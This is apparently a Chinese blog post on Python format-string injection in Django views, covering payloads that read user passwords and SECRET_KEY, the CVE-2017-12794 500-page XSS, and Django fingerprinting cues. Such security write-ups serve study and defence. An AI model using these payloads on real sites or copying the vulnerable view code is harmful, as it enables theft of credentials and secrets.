Python字符格式化漏洞及Django相關漏洞總結

Python字符串格式化漏洞

  • “My name is %s” % (‘phithon’, )
  • “My name is %(name)%” % {‘name’:’phithon’}

上面是普通調用和字典調用
對應高級一點的可以有對象調用,如下

  • “{user.username}”.format(user=request.username)

user是request傳過來的對象,格式化輸出這個對象的username屬性

讀取用戶密碼

def view(request):
    template = 'Hello {user}, This is your email: ' + request.GET.get('email')
    return HttpResponse(template.format(user=request.user))

有如上視圖,payload爲http://xxx.xxxx.xxx:8000/view?email={user.password}
就能輸出密碼,這裏明天補張圖。

讀取Django配置

Django自帶的admin管理工具中admin.py包含了settings.py
可構造payload
http://localhost:8000/?email={user.groups.model._meta.app_config.module.admin.settings.SECRET_KEY}
http://localhost:8000/?email={user.user_permissions.model._meta.app_config.module.admin.settings.SECRET_KEY}
SECRET_KEY可以換成其他的settings屬性
這裏明天再補張圖。

Django XSS漏洞 CVE-2017-12794

django500頁面出現的漏洞
插入兩次同樣的數據,由於數據庫完整性約束,數據庫拋出錯誤,django調取500頁面顯示錯誤,會將輸入的數據顯示出來。
如註冊頁面未過濾用戶名註冊用戶名爲<script>alert(1)</script>
再註冊一個用戶名爲<script>alert(1)</script>
就會出現debug的500頁面,並alert一個1。

Django框架指紋識別依據

  • 利用Debug模式異常頁面判斷
  • CSRF Token名稱確認,表單中隱藏了一個input名爲csrfmiddlewaretoken
  • 利用後臺確認xxx.xxx:8000/admin/
  • 利用HTTP頭SERVER:WSGIServer/0.2 CPython/3.5.2
  • html中會有很多空行
  • 利用第三方模塊的特徵判斷。常用的第三方模塊有django-rest-framework、django-debug-toolbar、django-bootstrap3、django-filter、django-cron、django-allauth、django-simple-captcha等。比如,django-rest-framework默認包含一個登陸頁面,/api-auth/login/
  • 用靜態文件分析:https://xxx.xxx.xxx/static/admin/css/dashboard.css http://xxx.xxx.xxx/static/admin/css/dashboard.css http://xxx.xxx.xxx/static/admin/css/dashboard.css http://xxx.xxx.xxx/static/admin/css/dashboard.css
發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章